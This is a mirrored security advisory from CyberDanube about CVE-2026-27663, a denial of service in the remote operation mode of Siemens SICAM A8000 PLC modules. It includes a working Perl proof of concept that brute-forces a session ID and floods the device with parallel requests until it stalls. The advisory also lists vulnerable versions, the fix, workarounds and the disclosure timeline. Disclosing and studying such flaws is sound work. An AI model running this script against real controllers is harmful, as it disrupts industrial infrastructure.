{"id":47251,"date":"2026-04-15T12:45:23","date_gmt":"2026-04-15T12:45:23","guid":{"rendered":"http:\/\/localhost\/?p=47251"},"modified":"2026-04-15T12:45:23","modified_gmt":"2026-04-15T12:45:23","slug":"siemens-sicam-a8000-2530-denial-of-service","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=47251","title":{"rendered":"\ud83d\udcc4 Siemens SICAM A8000 25.30 Denial of Service_PACKETSTORM:218980"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-15T16:57:58&#8243;,&#8221;description&#8221;:&#8221;Siemens SICAM A8000 CP-8050\/CP-8031\/CP-8010\/CP-8012 versions 25.30 and below suffer from a resource exhaustion denial of service vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-15T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-15T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Siemens SICAM A8000 25.30 Denial of Service&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:218980&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-27663&#8243;],&#8221;sourceData&#8221;:&#8221;CyberDanube Security Research 20260408-0\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n                    title| Remote Operation Denial of Service\\n                  product| Siemens SICAM A8000 CP-8050\/CP-8031\/CP-8010\/CP-8012\\n       vulnerable version| \\u003c=V25.30\\n            fixed version| V26.10\\n               CVE number| CVE-2026-27663\\n                   impact| Medium\\n                 homepage| https:\/\/siemens.com\/\\n                    found| 28.11.2025\\n                       by| T. Weber, S. Dietz, D. Blagojevic, F. Koroknai\\n                         | (Office Vienna)\\n                         | CyberDanube Security Research\\n                         | Vienna | St. P\u00f6lten\\n                         |\\n                         | https:\/\/www.cyberdanube.com\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    \\n    Vendor description\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    \\&#8221;Our purpose: We create technology to transform the everyday, for everyone.\\n    By combining the real and the digital worlds, we can help accelerate both\\n    digitalization and sustainability &#8211; so our customers around the world can\\n    become more competitive, resilient and sustainable.\\&#8221;\\n    \\n    Source: https:\/\/www.siemens.com\/global\/en\/company\/about.html\\n    \\n    \\n    Vulnerable versions\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    Siemens SICAM A8000 CP-8050 Master Module (6MF2805-0AA00) \/ \\u003c=V25.30\\n    Siemens SICAM A8000 CP-8031 Master Module (6MF2803-1AA00) \/ \\u003c=V25.30\\n    Siemens SICAM A8000 CP-8010 Master Module (6MF2801-0AA00) \/ \\u003c=V25.31\\n    Siemens SICAM A8000 CP-8012 Master Module (6MF2801-2AA00) \/ \\u003c=V25.31\\n    \\n    See also the vendor advisory:\\n    https:\/\/cert-portal.siemens.com\/productcert\/html\/ssa-246443.html\\n    \\n    Vulnerability overview\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    1) Remote Operation Denial of Service (CVE-2026-27663)\\n    The remote operation mode is vulnerable to an uncontrolled resource exhaustion.\\n    By sending frequent requests, the service can be interrupted and the affected\\n    PLC can no longer be parameterized. This vulnerabilitiy can be triggered with\\n    less than 100 requests and stalls the service as log as it is restarted via the\\n    web interface or if the device is rebooted.\\n    \\n    \\n    Proof of Concept\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    1) Remote Operation Denial of Service (CVE-2026-27663)\\n    The following script can be used to force the CPCI85 process into a denial of\\n    service state:\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    #!\/usr\/bin\/perl\\n    #Author: T. Weber\\n    #SICAM Remote Operation DoS \\u003c=V25.30\\n    use strict;\\n    use warnings;\\n    use LWP::UserAgent;\\n    use Parallel::ForkManager;\\n    \\n    $ENV{&#8216;PERL_LWP_SSL_VERIFY_HOSTNAME&#8217;} = 0;\\n    print \\&#8221;Enter target IP address: \\&#8221;;\\n    chomp(my $ip = \\u003cSTDIN\\u003e);\\n    \\n    print \\&#8221;Enter target port: \\&#8221;;\\n    chomp(my $port = \\u003cSTDIN\\u003e);\\n    \\n    print \\&#8221;Enter Y\/N for HTTPS: \\&#8221;;\\n    chomp(my $tls = \\u003cSTDIN\\u003e);\\n    \\n    if ($tls eq \\&#8221;Y\\&#8221;) {\\n        $tls = \\&#8221;https\\&#8221;;\\n    } elsif ($tls eq \\&#8221;N\\&#8221;) {\\n        $tls = \\&#8221;http\\&#8221;;\\n    } else {\\n        die \\&#8221;Invalid input for HTTPS (must be Y or N)\\\\n\\&#8221;;\\n    }\\n    \\n    my $server_endpoint = \\&#8221;$tls:\/\/$ip:$port\/SICAM_TOOLBOX_1703_remote_connection_01.htm\\&#8221;;\\n    print \\&#8221;Testing $server_endpoint\\\\n\\&#8221;;\\n    # user agent\\n    my $ua = LWP::UserAgent-\\u003enew(\\n        ssl_opts   =\\u003e { SSL_verify_mode =\\u003e 0 },\\n        keep_alive =\\u003e 1,\\n        agent      =\\u003e \\&#8221;SICAM TOOLBOX II\\&#8221;\\n    );\\n    \\n    # brute force session\\n    my @hex = (0..9, &#8216;A&#8217;..&#8217;F&#8217;);\\n    my $found_session;\\n    for my $d1 (@hex) {\\n        for my $d2 (@hex) {\\n            for my $d3 (@hex) {\\n                for my $d4 (@hex) {\\n                    my $session_id = \\&#8221;008cfd320836$d1$d2$d3$d4\\&#8221;;\\n                    my $req = HTTP::Request-\\u003enew(POST =\\u003e $server_endpoint);\\n                    $req-\\u003eheader(&#8216;content-type&#8217;   =\\u003e &#8216;text\/plain&#8217;);\\n                    $req-\\u003eheader(&#8216;Session-ID&#8217;     =\\u003e $session_id);\\n                    $req-\\u003eheader(&#8216;UPLOADFILENAME&#8217; =\\u003e &#8216;abc.f20&#8217;);\\n                    $req-\\u003econtent(&#8216;type=20\\u0026length=1\\u0026data=A&#8217;);\\n    \\n                    my $resp = $ua-\\u003erequest($req);\\n    \\n                    if ($resp-\\u003eis_success) {\\n                        print \\&#8221;[$session_id] OK: \\&#8221;, $resp-\\u003edecoded_content, \\&#8221;\\\\n\\&#8221;;\\n                        if ($resp-\\u003edecoded_content ne \\&#8221;\\&#8221;){\\n    \u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002print \\&#8221;found session\\\\n\\&#8221;;\\n    \u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002$found_session = $session_id;\\n    \u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\\n    \u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002}\\n                    } else {\\n                        print \\&#8221;[$session_id] ERROR: \\&#8221;, $resp-\\u003estatus_line, \\&#8221;\\\\n\\&#8221;;\\n                    }\\n                }\\n                if ($found_session ne \\&#8221;\\&#8221;){\\n    \u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\\n    \u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002}\\n            }\\n            if ($found_session ne \\&#8221;\\&#8221;){\\n    \u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\\n    \u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002}\\n        }\\n        if ($found_session ne \\&#8221;\\&#8221;){\\n    \u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\\n    \u2002\u2002\u2002\u2002\u2002\u2002}\\n    }\\n    \\n    #denial of remote operation\\n    my $max_procs = 10;\\n    my $pm = Parallel::ForkManager-\\u003enew($max_procs);\\n    \\n    my @alpha = (0..9);\\n    for my $d1 (@alpha) {\\n        for my $d2 (@alpha) {\\n                $pm-\\u003estart and next;\\n    \u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002my $len = \\&#8221;$d1$d2\\&#8221;;\\n    \u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\\n                my $req = HTTP::Request-\\u003enew(POST =\\u003e $server_endpoint);\\n                $req-\\u003eheader(&#8216;content-type&#8217;   =\\u003e &#8216;text\/plain&#8217;);\\n                $req-\\u003eheader(&#8216;Session-ID&#8217;     =\\u003e $found_session);\\n                $req-\\u003eheader(&#8216;UPLOADFILENAME&#8217; =\\u003e &#8216;abc.f20&#8217;);\\n                $req-\\u003econtent(&#8216;type=20\\u0026length=&#8217;.$len.&#8217;\\u0026data=A&#8217;);\\n                my $resp = $ua-\\u003erequest($req);\\n    \\n                if ($resp-\\u003eis_success) {\\n                    print \\&#8221;DoS Running: \\&#8221;.$d1.$d2.\\&#8221;\\\\n\\&#8221;;\\n                } else {\\n                    print \\&#8221;ERROR: \\&#8221;, $resp-\\u003estatus_line, \\&#8221;\\\\n\\&#8221;;\\n                }\\n                $pm-\\u003efinish;\\n        }\\n    }\\n    $pm-\\u003ewait_all_children;\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    The service is still running but stalled and cannot be used anymore to set\\n    parameters via Toolbox II.\\n    \\n    \\n    Solution\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    Install the latest version available.\\n    \\n    \\n    Workaround\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    Activate the web-interface to restart the service if needed. Deactivate remote\\n    operation if not used. Restrict network access to the device in the\\n    infrastructure.\\n    \\n    \\n    Recommendation\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    CyberDanube recommends to perform a white-box security assessment of the SICAM\\n    A8000 master module devices.\\n    \\n    \\n    Contact Timeline\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    2025-12-12: Contacting Siemens PSIRT. Siemens ProductCERT confirms issues.\\n    2026-01-13: Siemens ProductCERT confirms to work on a fix.\\n    2026-01-16: Siemens ProductCERT asks for more information regarding the\\n                exploitation. Provided more information.\\n    2026-02-18: Asked for an update. Siemens ProductCERT provided a preliminary\\n                timeline.\\n    2026-03-26: Siemens informs that patch has been released. Providing more time\\n                for customer to patch. Siemens published Advisory\\n    2026-04-08: Coordinated release of security advisory.\\n    \\n    Web: https:\/\/www.cyberdanube.com\\n    Twitter: https:\/\/twitter.com\/cyberdanube\\n    Mail: research at cyberdanube dot com\\n    \\n    EOF T. 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